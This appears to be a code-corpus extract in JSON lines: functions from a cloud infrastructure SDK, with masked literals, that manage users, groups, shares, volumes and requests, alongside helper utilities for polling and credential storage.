{"signature": "def add_share(self, group_id, resource_id, **kwargs):", "body": "properties = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>properties[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>data = {<EOL>\"<STR_LIT>\": properties<EOL>}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (group_id, resource_id),<EOL>method='<STR_LIT:POST>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Shares a resource through a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      resource_id: The unique ID of the resource.\n:type       resource_id: ``str``", "id": "f811:c0:m79"}
{"signature": "def update_share(self, group_id, resource_id, **kwargs):", "body": "properties = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>properties[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>data = {<EOL>\"<STR_LIT>\": properties<EOL>}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (group_id, resource_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates the permissions of a group for a resource share.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      resource_id: The unique ID of the resource.\n:type       resource_id: ``str``", "id": "f811:c0:m80"}
{"signature": "def delete_share(self, group_id, resource_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (group_id, resource_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a resource share from a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      resource_id: The unique ID of the resource.\n:type       resource_id: ``str``", "id": "f811:c0:m81"}
{"signature": "def list_users(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request('<STR_LIT>' + str(depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of all users.\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m82"}
{"signature": "def get_user(self, user_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (user_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a single user by ID.\n\n:param      user_id: The unique ID of the user.\n:type       user_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m83"}
{"signature": "def create_user(self, user):", "body": "data = self._create_user_dict(user=user)<EOL>response = self._perform_request(<EOL>url='<STR_LIT>',<EOL>method='<STR_LIT:POST>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Creates a new user.\n\n:param      user: The user object to be created.\n:type       user: ``dict``", "id": "f811:c0:m84"}
{"signature": "def update_user(self, user_id, **kwargs):", "body": "properties = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>properties[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>data = {<EOL>\"<STR_LIT>\": properties<EOL>}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % user_id,<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a user.\n\n:param      user_id: The unique ID of the user.\n:type       user_id: ``str``", "id": "f811:c0:m85"}
{"signature": "def delete_user(self, user_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % user_id,<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a user.\n\n:param      user_id: The unique ID of the user.\n:type       user_id: ``str``", "id": "f811:c0:m86"}
{"signature": "def list_group_users(self, group_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (group_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of all users that are members of a particular group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m87"}
{"signature": "def add_group_user(self, group_id, user_id):", "body": "data = {<EOL>\"<STR_LIT:id>\": user_id<EOL>}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % group_id,<EOL>method='<STR_LIT:POST>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Adds an existing user to a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      user_id: The unique ID of the user.\n:type       user_id: ``str``", "id": "f811:c0:m88"}
{"signature": "def remove_group_user(self, group_id, user_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (group_id, user_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a user from a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      user_id: The unique ID of the user.\n:type       user_id: ``str``", "id": "f811:c0:m89"}
{"signature": "def list_resources(self, resource_type=None, depth=<NUM_LIT:1>):", "body": "if resource_type is not None:<EOL><INDENT>response = self._perform_request(<EOL>'<STR_LIT>' % (resource_type, str(depth)))<EOL><DEDENT>else:<EOL><INDENT>response = self._perform_request(<EOL>'<STR_LIT>' + str(depth))<EOL><DEDENT>return response<EOL>", "docstring": "Retrieves a list of all resources.\n\n:param      resource_type: The resource type: datacenter, image,\n                           snapshot or ipblock. Default is None,\n                           i.e., all resources are listed.\n:type       resource_type: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m90"}
{"signature": "def get_resource(self, resource_type, resource_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>resource_type, resource_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a single resource of a particular type.\n\n:param      resource_type: The resource type: datacenter, image,\n                           snapshot or ipblock.\n:type       resource_type: ``str``\n\n:param      resource_id: The unique ID of the resource.\n:type       resource_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m91"}
{"signature": "def get_volume(self, datacenter_id, volume_id):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (datacenter_id, volume_id))<EOL>return response<EOL>", "docstring": "Retrieves a single volume by ID.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``", "id": "f811:c0:m92"}
{"signature": "def list_volumes(self, datacenter_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (datacenter_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of volumes in the data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m93"}
{"signature": "def delete_volume(self, datacenter_id, volume_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id, volume_id), method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a volume from the data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``", "id": "f811:c0:m94"}
{"signature": "def create_volume(self, datacenter_id, volume):", "body": "data = (json.dumps(self._create_volume_dict(volume)))<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % datacenter_id,<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Creates a volume within the specified data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      volume: A volume dict.\n:type       volume: ``dict``", "id": "f811:c0:m95"}
{"signature": "def update_volume(self, datacenter_id, volume_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>volume_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a volume\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``", "id": "f811:c0:m96"}
{"signature": "def wait_for_completion(self, response, timeout=<NUM_LIT>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "if not response:<EOL><INDENT>return<EOL><DEDENT>logger = logging.getLogger(__name__)<EOL>wait_period = initial_wait<EOL>next_increase = time.time() + wait_period * scaleup<EOL>if timeout:<EOL><INDENT>timeout = time.time() + timeout<EOL><DEDENT>while True:<EOL><INDENT>request = self.get_request(request_id=response['<STR_LIT>'], status=True)<EOL>if request['<STR_LIT>']['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>break<EOL><DEDENT>elif request['<STR_LIT>']['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>raise PBFailedRequest(<EOL>'<STR_LIT>'.format(<EOL>response['<STR_LIT>'], request['<STR_LIT>']['<STR_LIT:message>']),<EOL>response['<STR_LIT>']<EOL>)<EOL><DEDENT>current_time = time.time()<EOL>if timeout and current_time > timeout:<EOL><INDENT>raise PBTimeoutError('<STR_LIT>'.format(<EOL>response['<STR_LIT>']), response['<STR_LIT>'])<EOL><DEDENT>if current_time > next_increase:<EOL><INDENT>wait_period *= <NUM_LIT:2><EOL>next_increase = time.time() + wait_period * scaleup<EOL>scaleup *= <NUM_LIT:2><EOL><DEDENT>logger.info(\"<STR_LIT>\",<EOL>response['<STR_LIT>'], request['<STR_LIT>']['<STR_LIT:status>'], wait_period)<EOL>time.sleep(wait_period)<EOL><DEDENT>", "docstring": "Poll resource request status until resource is provisioned.\n\n:param      response: A response dict, which needs to have a 'requestId' item.\n:type       response: ``dict``\n\n:param      timeout: Maximum waiting time in seconds. None means infinite waiting time.\n:type       timeout: ``int``\n\n:param      initial_wait: Initial polling interval in seconds.\n:type       initial_wait: ``int``\n\n:param      scaleup: Double polling interval every scaleup steps, which will be doubled.\n:type       scaleup: ``int``", "id": "f811:c0:m97"}
{"signature": "@staticmethod<EOL><INDENT>def _b(s, encoding='<STR_LIT:utf-8>'):<DEDENT>", "body": "if six.PY2:<EOL><INDENT>if isinstance(s, str):<EOL><INDENT>return s<EOL><DEDENT>elif isinstance(s, unicode):  <EOL><INDENT>return s.encode(encoding)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if isinstance(s, bytes):<EOL><INDENT>return s<EOL><DEDENT>elif isinstance(s, str):<EOL><INDENT>return s.encode(encoding)<EOL><DEDENT><DEDENT>raise TypeError(\"<STR_LIT>\" % (s,))<EOL>", "docstring": "Returns the given string as a string of bytes. That means in\nPython2 as a str object, and in Python3 as a bytes object.\nRaises a TypeError, if it cannot be converted.", "id": "f811:c0:m102"}
{"signature": "@staticmethod<EOL><INDENT>def _underscore_to_camelcase(value):<DEDENT>", "body": "def camelcase():<EOL><INDENT>yield str.lower<EOL>while True:<EOL><INDENT>yield str.capitalize<EOL><DEDENT><DEDENT>c = camelcase()<EOL>return \"<STR_LIT>\".join(next(c)(x) if x else '<STR_LIT:_>' for x in value.split(\"<STR_LIT:_>\"))<EOL>", "docstring": "Convert Python snake case back to mixed case.", "id": "f811:c0:m103"}
{"signature": "def __init__(self, name=None, location=None,  <EOL>description=None, volumes=None, servers=None, lans=None, loadbalancers=None,<EOL>**kwargs):", "body": "if volumes is None:<EOL><INDENT>volumes = []<EOL><DEDENT>if servers is None:<EOL><INDENT>servers = []<EOL><DEDENT>if lans is None:<EOL><INDENT>lans = []<EOL><DEDENT>if loadbalancers is None:<EOL><INDENT>loadbalancers = []<EOL><DEDENT>self.name = name<EOL>self.description = description<EOL>self.location = location<EOL>self.servers = servers<EOL>self.volumes = volumes<EOL>self.lans = lans<EOL>self.loadbalancers = loadbalancers<EOL>", "docstring": "The Datacenter class initializer.\n\n:param      name: The data center name..\n:type       name: ``str``\n\n:param      location: The data center geographical location.\n:type       location: ``str``\n\n:param      description: Optional description.\n:type       description: ``str``\n\n:param      volumes: List of volume dicts.\n:type       volumes: ``list``\n\n:param      servers: List of server dicts.\n:type       servers: ``list``\n\n:param      lans: List of LAN dicts.\n:type       lans: ``list``\n\n:param      loadbalancers: List of load balancer dicts.\n:type       loadbalancers: ``list``", "id": "f811:c1:m0"}
{"signature": "def __init__(self, name=None, protocol=None,  <EOL>source_mac=None, source_ip=None,<EOL>target_ip=None, port_range_start=None,<EOL>port_range_end=None, icmp_type=None,<EOL>icmp_code=None, **kwargs):", "body": "self.name = name<EOL>self.protocol = protocol<EOL>self.source_mac = source_mac<EOL>self.source_ip = source_ip<EOL>self.target_ip = target_ip<EOL>self.port_range_start = port_range_start<EOL>self.port_range_end = port_range_end<EOL>if icmp_type is not None:<EOL><INDENT>icmp_type = str(icmp_type)<EOL><DEDENT>self.icmp_type = icmp_type<EOL>if icmp_code is not None:<EOL><INDENT>icmp_code = str(icmp_code)<EOL><DEDENT>self.icmp_code = icmp_code<EOL>", "docstring": "FirewallRule class initializer.\n\n:param      name: The name of the firewall rule.\n:type       name: ``str``\n\n:param      protocol: Either TCP or UDP\n:type       protocol: ``str``\n\n:param      source_mac: Source MAC you want to restrict.\n:type       source_mac: ``str``\n\n:param      source_ip: Source IP you want to restrict.\n:type       source_ip: ``str``\n\n:param      target_ip: Target IP you want to restrict.\n:type       target_ip: ``str``\n\n:param      port_range_start: Optional port range.\n:type       port_range_start: ``str``\n\n:param      port_range_end: Optional port range.\n:type       port_range_end: ``str``\n\n:param      icmp_type: Defines the allowed type.\n:type       icmp_type: ``str``\n\n:param      icmp_code: Defines the allowed code.\n:type       icmp_code: ``str``", "id": "f811:c2:m0"}
{"signature": "def __init__(self, name=None, location=None, size=None):", "body": "self.name = name<EOL>self.location = location<EOL>self.size = size<EOL>", "docstring": "IPBlock class initializer.\n\n:param      name: The name of the IP block.\n:type       name: ``str``\n\n:param      location: The location for the IP block.\n:type       location: ``str``\n\n:param      size: The number of IPs in the block.\n:type       size: ``str``", "id": "f811:c3:m0"}
{"signature": "def __init__(self, name=None, public=None, nics=None):", "body": "if nics is None:<EOL><INDENT>nics = []<EOL><DEDENT>self.name = name<EOL>self.public = public<EOL>self.nics = nics<EOL>", "docstring": "LAN class initializer.\n\n:param      name: The name of the LAN.\n:type       name: ``str``\n\n:param      public: Indicates if the LAN is public.\n:type       public: ``bool``\n\n:param      nics: A list of NICs\n:type       nics: ``list``", "id": "f811:c4:m0"}
{"signature": "def __init__(self, name=None, ip=None,  <EOL>dhcp=None, balancednics=None, **kwargs):", "body": "if balancednics is None:<EOL><INDENT>balancednics = []<EOL><DEDENT>self.name = name<EOL>self.ip = ip<EOL>self.dhcp = dhcp<EOL>self.balancednics = balancednics<EOL>", "docstring": "LoadBalancer class initializer.\n\n:param      name: The name of the load balancer.\n:type       name: ``str``\n\n:param      ip: The IP for the load balancer.\n:type       ip: ``str``\n\n:param      dhcp: Indicates if the load balancer\n                  uses DHCP or not.\n:type       dhcp: ``bool``\n\n:param      balancednics: A list of NICs associated\n                          with the load balancer.\n:type       balancednics: ``list``", "id": "f811:c5:m0"}
{"signature": "def __init__(self, name=None, ips=None,  <EOL>dhcp=None, lan=None, firewall_active=None,<EOL>firewall_rules=None, nat=None, **kwargs):", "body": "if firewall_rules is None:<EOL><INDENT>firewall_rules = []<EOL><DEDENT>self.name = name<EOL>self.nat = nat<EOL>self.ips = ips<EOL>self.dhcp = dhcp<EOL>self.lan = lan<EOL>self.firewall_active = firewall_active<EOL>self.firewall_rules = firewall_rules<EOL>", "docstring": "NIC class initializer.\n\n:param      name: The name of the NIC.\n:type       name: ``str``\n\n:param      ips: A list of IPs.\n:type       ips: ``list``\n\n:param      dhcp: Enable or disable DHCP. Default is enabled.\n:type       dhcp: ``bool``\n\n:param      lan: ID of the LAN in which the NIC should reside.\n:type       lan: ``str``\n\n:param      nat: Enable or disable NAT. Default is disabled.\n:type       nat: ``bool``\n\n:param      firewall_active: Turns the firewall on or off;\n                             default is disabled.\n:type       firewall_active: ``bool``\n\n:param      firewall_rules: List of firewall rule dicts.\n:type       firewall_rules: ``list``", "id": "f811:c6:m0"}
{"signature": "def __init__(self, name=None, cores=None, ram=None, availability_zone=None,<EOL>boot_volume_id=None, boot_cdrom=None, cpu_family=None,<EOL>create_volumes=None, attach_volumes=None, nics=None):", "body": "if create_volumes is None:<EOL><INDENT>create_volumes = []<EOL><DEDENT>if attach_volumes is None:<EOL><INDENT>attach_volumes = []<EOL><DEDENT>if nics is None:<EOL><INDENT>nics = []<EOL><DEDENT>self.name = name<EOL>self.cores = cores<EOL>self.ram = ram<EOL>self.availability_zone = availability_zone<EOL>self.boot_volume_id = boot_volume_id<EOL>self.boot_cdrom = boot_cdrom<EOL>self.cpu_family = cpu_family<EOL>self.create_volumes = create_volumes<EOL>self.attach_volumes = attach_volumes<EOL>self.nics = nics<EOL>", "docstring": "Server class initializer.\n\n:param      name: The name of your server..\n:type       name: ``str``\n\n:param      cores: The number of cores for the server.\n:type       cores: ``str``\n\n:param      ram: The amount of memory for the server.\n:type       ram: ``str``\n\n:param      availability_zone: The availability zone for the server.\n:type       availability_zone: ``str``\n\n:param      boot_volume_id: The ID of the boot volume.\n:type       boot_volume_id: ``str``\n\n:param      boot_cdrom: Attach a CDROM.\n:type       boot_cdrom: ``str``\n\n:param      cpu_family: Set the desired CPU type.\n:type       cpu_family: ``str``\n\n:param      create_volumes: List of volume dicts to create.\n:type       create_volumes: ``list``\n\n:param      attach_volumes: List of volume IDs to attach.\n:type       attach_volumes: ``list``\n\n:param      nics: List of NIC dicts to create.\n:type       nics: ``list``", "id": "f811:c7:m0"}
{"signature": "def __init__(self, name=None, size=None, bus='<STR_LIT>',  <EOL>image=None, image_alias=None, disk_type='<STR_LIT>', licence_type='<STR_LIT>',<EOL>image_password=None, ssh_keys=None, availability_zone='<STR_LIT>',<EOL>**kwargs):", "body": "if ssh_keys is None:<EOL><INDENT>ssh_keys = []<EOL><DEDENT>self.name = name<EOL>self.availability_zone = availability_zone<EOL>self.size = size<EOL>self.image = image<EOL>self.image_alias = image_alias<EOL>self.bus = bus<EOL>self.disk_type = disk_type<EOL>self.licence_type = licence_type<EOL>self.image_password = image_password<EOL>self.ssh_keys = ssh_keys<EOL>", "docstring": "Volume class initializer.\n\n:param      name: The name of the volume.\n:type       name: ``str``\n\n:param      size: The size of the volume.\n:type       size: ``str``\n\n:param      bus: The bus type. Def. VIRTIO.\n:type       bus: ``str``\n\n:param      image: The image ID to use.\n:type       image: ``str``\n\n:param      image_alias: An alias of the image to use.\n:type       image_alias: ``str``\n\n:param      disk_type: The type of storage. Def. HDD\n:type       disk_type: ``str``\n\n:param      licence_type: The licence type.\n:type       licence_type: ``str``\n\n:param      ssh_keys: A list of public SSH keys.\n:type       ssh_keys: ``list``\n\n:param      availability_zone: The availability zone for the server.\n:type       availability_zone: ``str``", "id": "f811:c8:m0"}
{"signature": "def __init__(self, name=None, description=None,  <EOL>licence_type='<STR_LIT>', size=None, location=None, **kwargs):", "body": "self.name = name<EOL>self.description = description<EOL>self.size = int(size)<EOL>self.licence_type = licence_type<EOL>self.location = location<EOL>", "docstring": "Snapshot class initializer.\n\n:param      name: The name of the snapshot.\n:type       name: ``str``\n\n:param      name: The description of the snapshot.\n:type       name: ``str``\n\n:param      size: The size of the snapshot.\n:type       size: ``str``\n\n:param      licence_type: The licence type.\n:type       licence_type: ``str``", "id": "f811:c9:m0"}
{"signature": "def __init__(self, name=None, create_datacenter=None,<EOL>create_snapshot=None, reserve_ip=None,<EOL>access_activity_log=None):", "body": "self.name = name<EOL>self.create_datacenter = create_datacenter<EOL>self.create_snapshot = create_snapshot<EOL>self.reserve_ip = reserve_ip<EOL>self.access_activity_log = access_activity_log<EOL>", "docstring": "Group class initializer.\n\n:param      name: The name of the group.\n:type       name: ``str``\n\n:param      create_datacenter: Indicates if the group is allowed\n                               to create virtual data centers.\n:type       create_datacenter: ``bool``\n\n:param      create_snapshot: Indicates if the group is allowed\n                             to create snapshots.\n:type       create_snapshot: ``bool``\n\n:param      reserve_ip: Indicates if the group is allowed\n                        to reserve IP addresses.\n:type       reserve_ip: ``bool``\n\n:param      access_activity_log: Indicates if the group is allowed\n                                 to access activity log.\n:type       access_activity_log: ``bool``", "id": "f811:c10:m0"}
{"signature": "def __init__(self, firstname=None, lastname=None,<EOL>email=None, password=None,<EOL>administrator=None,<EOL>force_sec_auth=None):", "body": "self.firstname = firstname<EOL>self.lastname = lastname<EOL>self.email = email<EOL>self.password = password<EOL>self.administrator = administrator<EOL>self.force_sec_auth = force_sec_auth<EOL>", "docstring": "User class initializer.\n\n:param      firstname: The user's first name.\n:type       firstname: ``str``\n\n:param      lastname: The user's last name.\n:type       lastname: ``str``\n\n:param      email: The user's email.\n:type       email: ``str``\n\n:param      password: A password for the user.\n:type       password: ``str``\n\n:param      administrator: Indicates if the user have\n                           administrative rights.\n:type       administrator: ``bool``\n\n:param      force_sec_auth: Indicates if secure (two-factor)\n                            authentication should be forced\n                            for the user.\n:type       force_sec_auth: ``bool``", "id": "f811:c11:m0"}
{"signature": "def ask(question, options, default):", "body": "assert default in options<EOL>question += \"<STR_LIT>\".format(\"<STR_LIT:/>\".join(o.upper() if o == default else o for o in options))<EOL>selected = None<EOL>while selected not in options:<EOL><INDENT>selected = input(question).strip().lower()<EOL>if selected == \"<STR_LIT>\":<EOL><INDENT>selected = default<EOL><DEDENT>else:<EOL><INDENT>if selected not in options:<EOL><INDENT>question = \"<STR_LIT>\".format(<EOL>\"<STR_LIT>\".join(options[:-<NUM_LIT:1>]), options[-<NUM_LIT:1>],<EOL>comma='<STR_LIT:U+002C>' if len(options) > <NUM_LIT:2> else '<STR_LIT>',<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return selected<EOL>", "docstring": "Ask the user a question with a list of allowed answers (like yes or no).\n\nThe user is presented with a question and asked to select an answer from\nthe given options list. The default will be returned if the user enters\nnothing. The user is asked to repeat his answer if his answer does not\nmatch any of the allowed anwsers.\n\n:param    question: Question to present to the user (without question mark)\n:type     question: ``str``\n\n:param    options: List of allowed anwsers\n:type     options: ``list``\n\n:param    default: Default answer (if the user enters no text)\n:type     default: ``str``", "id": "f813:m0"}
{"signature": "def find_item_by_name(list_, namegetter, name):", "body": "matching_items = [i for i in list_ if namegetter(i) == name]<EOL>if not matching_items:<EOL><INDENT>prog = re.compile(re.escape(name) + '<STR_LIT:$>', re.IGNORECASE)<EOL>matching_items = [i for i in list_ if prog.match(namegetter(i))]<EOL><DEDENT>if not matching_items:<EOL><INDENT>prog = re.compile(re.escape(name))<EOL>matching_items = [i for i in list_ if prog.match(namegetter(i))]<EOL><DEDENT>if not matching_items:<EOL><INDENT>prog = re.compile(re.escape(name), re.IGNORECASE)<EOL>matching_items = [i for i in list_ if prog.match(namegetter(i))]<EOL><DEDENT>if not matching_items:<EOL><INDENT>prog = re.compile(re.escape(name))<EOL>matching_items = [i for i in list_ if prog.search(namegetter(i))]<EOL><DEDENT>if not matching_items:<EOL><INDENT>prog = re.compile(re.escape(name), re.IGNORECASE)<EOL>matching_items = [i for i in list_ if prog.search(namegetter(i))]<EOL><DEDENT>return matching_items<EOL>", "docstring": "Find a item a given list by a matching name.\n\nThe search for the name is done in this relaxing way:\n\n- exact name match\n- case-insentive name match\n- attribute starts with the name\n- attribute starts with the name (case insensitive)\n- name appears in the attribute\n- name appears in the attribute (case insensitive)\n\n:param    list_: A list of elements\n:type     list_: ``list``\n\n:param    namegetter: Function that returns the name for a given\n                      element in the list\n:type     namegetter: ``function``\n\n:param    name: Name to search for\n:type     name: ``str``", "id": "f813:m1"}
{"signature": "def getLogin(filename, user, passwd):", "body": "if filename is None:<EOL><INDENT>return (user, passwd)<EOL><DEDENT>isPy2 = sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2><EOL>if os.path.exists(filename):<EOL><INDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:r>\") as loginfile:<EOL><INDENT>encoded_cred = loginfile.read()<EOL>print(\"<STR_LIT>\".format(encoded_cred))<EOL>if isPy2:<EOL><INDENT>decoded_cred = b64decode(encoded_cred)<EOL><DEDENT>else:<EOL><INDENT>decoded_cred = b64decode(encoded_cred).decode('<STR_LIT:utf-8>')<EOL><DEDENT>login = decoded_cred.split('<STR_LIT::>', <NUM_LIT:1>)<EOL>return (login[<NUM_LIT:0>], login[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if user is None or passwd is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\".format(filename))<EOL>with open(filename, \"<STR_LIT:wb>\") as loginfile:<EOL><INDENT>creds = user+\"<STR_LIT::>\"+passwd<EOL>if isPy2:<EOL><INDENT>encoded_cred = b64encode(creds)<EOL><DEDENT>else:<EOL><INDENT>encoded_cred = b64encode(creds.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>print(\"<STR_LIT>\".format(encoded_cred))<EOL>loginfile.write(encoded_cred)<EOL><DEDENT>return (user, passwd)<EOL><DEDENT>", "docstring": "write user/passwd to login file or get them from file.\nThis method is not Py3 safe (byte vs. str)", "id": "f814:m0"}
{"signature": "def wait_for_request(pbclient, request_id,<EOL>timeout=<NUM_LIT:0>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "total_wait = <NUM_LIT:0><EOL>wait_period = initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>wait = True<EOL>while wait:<EOL><INDENT>request_status = pbclient.get_request(request_id, status=True)<EOL>state = request_status['<STR_LIT>']['<STR_LIT:status>']<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>return(<NUM_LIT:0>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>if state == '<STR_LIT>':<EOL><INDENT>return(<NUM_LIT:1>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL><DEDENT>print(\"<STR_LIT>\"<EOL>.format(request_id, state, wait_period))<EOL>sleep(wait_period)<EOL>total_wait += wait_period<EOL>if timeout != <NUM_LIT:0> and total_wait > timeout:<EOL><INDENT>wait = False<EOL><DEDENT>next_scaleup -= wait_period<EOL>if next_scaleup == <NUM_LIT:0>:<EOL><INDENT>wait_period += initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>print(\"<STR_LIT>\"<EOL>.format(wait_period, next_scaleup))<EOL><DEDENT><DEDENT>return (-<NUM_LIT:1>, state, \"<STR_LIT>\")<EOL>", "docstring": "Waits for a request to finish until timeout.\ntimeout==0 is interpreted as infinite wait time.\nReturns a tuple (return code, request status, message) where return code\n0  : request successful\n1  : request failed\n-1 : timeout exceeded\nThe wait_period is increased every scaleup steps to adjust for long\nrunning requests.", "id": "f814:m1"}
{"signature": "def wait_for_requests(pbclient, request_ids=None,<EOL>timeout=<NUM_LIT:0>, initial_wait=<NUM_LIT:5>, scaleup=<NUM_LIT:10>):", "body": "done = dict()<EOL>if not request_ids:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return done<EOL><DEDENT>total_wait = <NUM_LIT:0><EOL>wait_period = initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>wait = True<EOL>while wait:<EOL><INDENT>for request_id in request_ids:<EOL><INDENT>if request_id in done:<EOL><INDENT>continue<EOL><DEDENT>request_status = pbclient.get_request(request_id, status=True)<EOL>state = request_status['<STR_LIT>']['<STR_LIT:status>']<EOL>if state == \"<STR_LIT>\":<EOL><INDENT>done[request_id] = (<NUM_LIT:0>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL>print(\"<STR_LIT>\".format(request_id, state))<EOL><DEDENT>if state == '<STR_LIT>':<EOL><INDENT>done[request_id] = (<NUM_LIT:1>, state, request_status['<STR_LIT>']['<STR_LIT:message>'])<EOL>print(\"<STR_LIT>\".format(request_id, state))<EOL><DEDENT><DEDENT>if len(done) == len(request_ids):<EOL><INDENT>wait = False<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\"<EOL>.format(len(done), len(request_ids), wait_period))<EOL>sleep(wait_period)<EOL>total_wait += wait_period<EOL>if timeout != <NUM_LIT:0> and total_wait > timeout:<EOL><INDENT>wait = False<EOL><DEDENT>next_scaleup -= wait_period<EOL>if next_scaleup == <NUM_LIT:0>:<EOL><INDENT>wait_period += initial_wait<EOL>next_scaleup = scaleup * wait_period<EOL>print(\"<STR_LIT>\"<EOL>.format(wait_period, next_scaleup))<EOL><DEDENT><DEDENT><DEDENT>if len(done) != len(request_ids):<EOL><INDENT>for request_id in request_ids:<EOL><INDENT>if request_id in done:<EOL><INDENT>continue<EOL><DEDENT>done[request_id] = (-<NUM_LIT:1>, state, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>return done<EOL>", "docstring": "Waits for a list of requests to finish until timeout.\ntimeout==0 is interpreted as infinite wait time.\nReturns a dict of request_id -> result.\nresult is a tuple (return code, request status, message) where return code\n0  : request successful\n1  : request failed\n-1 : timeout exceeded\nThe wait_period is increased every scaleup steps to adjust for long\nrunning requests.", "id": "f814:m2"}
